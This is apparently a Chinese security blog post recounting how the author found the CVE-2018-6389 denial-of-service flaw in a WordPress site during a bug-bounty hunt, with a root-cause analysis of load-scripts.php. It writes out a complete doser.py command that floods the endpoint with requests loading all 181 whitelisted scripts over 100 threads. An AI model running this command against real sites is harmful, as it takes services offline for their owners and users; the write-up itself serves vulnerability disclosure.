分享一个连审核都不想审,就给了1分的刁钻拒绝服务案例 1544次阅读 网络安全 2019-02-07 ## 开头语 像我这种菜鸡就只能挖这种傻逼刁钻的漏洞了(打扰,没耐心的还是别挖了...真的) 这个洞是之前挖某个src碰到了一个wordpress站,欸!信心满满好不好 毕竟想起n年前把某回收直接getshell,因为他们站也是用的wordpress(就是做得很大的那个某回收,况且很多人盯着他们网站的模板,的确做得不错,漏洞很早之前以及提交补天了) ## 问题详细 可发现站点所使用的网站系统为 wordpress4.6.x 出现问题的链接:https://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor&ver=4.9.1 可参考链接:https://www.vulnspy.com/cn-cve-2018-6389-wordpress-denial-of-service-dos-vulnerability/ 导致拒绝服务的文件内容:  咱们可以在这个js文件中看到,引用了很多的js和css文件 wordpress呢就允许用户通过这个load-scripts.php 文件一次性载入多个JS文件和CSS文件,例如请求`https://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor&ver=4.9.1` 此时load-scripts.php将自动加载jquery-ui-core和editor文件并返回文件内容 所以我们可以向这个js文件发起多次载入文件请求而消耗资源引起拒绝服务 ## 利用方法 利用脚本:https://github.com/quitten/doser.py 构造命令: ```python python doser.py -g 'http://xxx.xxx.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 100 ``` ## 利用结果 在多次请求之后最终可导致拒绝服务(没有开高线程,所以导致临时性的无法访问,但是长时间攻击即可导致网站一直无法访问)  ## 漏洞分析(引用自Vulnspy) 在文件`WordPress/wp-admin/load-scripts.php`中:  load-scripts.php 文件会根据load参数传入的文件名依次载入文件并输出。同时程序对load参数的内容进行了过滤,只有在白名单$wp_scripts中的JS文件才会被载入。 该JS文件白名单的内容在文件`WordPress/wp-includes/script-loader.php`中:  JS文件白名单中共有181个文件。如果我们请求`load-scripts.php`文件使其同时载入全部JS文件,PHP代码将要进行181次的读取操作。若同时发起多个载入全部JS文件的请求,这将极大地消耗服务器资源,即有可能导致网站无法正常响应其他用户的请求。 手机上阅读 最后一次更新于2022-01-01 网络安全 拒绝服务
0 条评论